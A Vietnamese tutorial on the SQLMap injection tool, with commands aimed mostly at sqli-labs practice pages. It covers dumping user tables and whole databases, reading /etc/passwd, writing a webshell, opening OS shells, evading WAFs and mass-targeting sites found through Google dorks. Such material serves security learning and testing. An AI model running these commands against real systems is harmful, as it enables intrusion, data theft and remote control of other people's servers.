Giới thiệu công cụ SQLMap
SQLMap là công cụ mã nguồn mở hỗ trợ tự động hóa việc phát hiện và khai thác lỗ hổng SQL Injection. Công cụ này tương thích với nhiều hệ quản trị cơ sở dữ liệu phổ biến như: MySQL, PostgreSQL, Oracle, SQL Server, SQLite, DB2, Firebird, Sybase và SAP MaxDB.
SQLMap áp dụng 5 kỹ thuật tấn công chính:
- B: SQL injection dạng blind dựa trên giá trị Boolean
- E: Khai thác lỗi trả về từ cơ sở dữ liệu (Error-based)
- U: Sử dụng câu truy vấn UNION để lấy dữ liệu
- S: Thực thi nhiều câu lệnh SQL cùng lúc (Stacked queries)
- T: SQL injection dựa trên thời gian phản hồi (Time-based)
Phát hiện lỗ hổng cơ bản
Kiểm tra điểm đầu vào có tồn tại SQLi hay không:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1"
Thu thập thông tin hệ thống
Lấy danh sách cơ sở dữ liệu:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --dbs
Xác định cơ sở dữ liệu đang dùng:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --current-db
Truy vấn người dùng hiện tại:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --current-user
Kiểm tra đặc quyền quản trị viên:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --is-dba
Trích xuất cấu trúc CSDL
Liệt kê bảng trong cơ sở dữ liệu chỉ định:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security --tables
Hiển thị các cột trong bảng users:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security -T users --columns
Truy xuất dữ liệu
Xuất toàn bộ nội dung bảng:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" -D security -T users --dump
Xuất tất cả dữ liệu từ toàn bộ cơ sở dữ liệu:
sqlmap -u "http://192.168.137.133/sql/Less-1/?id=1" --dump-all
Kỹ thuật tấn công đa dạng
Dữ liệu POST:
sqlmap -u "http://192.168.10.1/sqli/Less-11/" --data="uname=admin&passwd=admin&submit=Submit"
Sử dụng file request HTTP (post.txt):
sqlmap -r post.txt
Cookie Injection (cần level >= 2):
sqlmap -u "http://192.168.137.133/sql/Less-20/" --cookie="uname=*" --level=2 --dbs
Cấu hình mức độ quét
Level xác định phạm vi kiểm tra:
- Level 1: Chỉ kiểm tra tham số GET/POST
- Level 2: Thêm Cookie
- Level 3: Bao gồm User-Agent và Referer
- Level 4-5: Mở rộng payload và kiểm tra sâu hơn
Risk điều chỉnh mức độ nguy hiểm của payload:
- Risk 1: An toàn
- Risk 2: Payload có thể ảnh hưởng dữ liệu
- Risk 3: Payload cao cấp như UPDATE, tránh dùng trên môi trường thật
Thao tác với hệ thống
Đọc file hệ thống:
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "/etc/passwd"
Ghi file (ví dụ: webshell):
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write shell.php --file-dest "C:/inetpub/wwwroot/shell.php"
Mở shell hệ điều hành:
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell
Vượt tường lửa (WAF)
Kiểm tra sự hiện diện của WAF:
sqlmap -u "http://target.com" --check-waf
Sử dụng script xử lý payload:
sqlmap -u "http://target.com" --tamper=space2comment,randomcase --random-agent
Kết nối trực tiếp CSDL
Kết nối qua chuỗi kết nối:
sqlmap -d "mysql://root:password@127.0.0.1:3306/security"
Chức năng nâng cao
Quét hàng loạt URL:
sqlmap -m list_urls.txt
Tìm kiếm bằng Google:
sqlmap -g "inurl:.php?id="
Truy cập registry Windows (nếu có đặc quyền):
sqlmap -u "URL" --reg-read
Thao tác tương tác
Mở shell SQL trực tiếp:
sqlmap -u "URL" --sql-shell
Sử dụng chế độ wizard:
sqlmap --wizard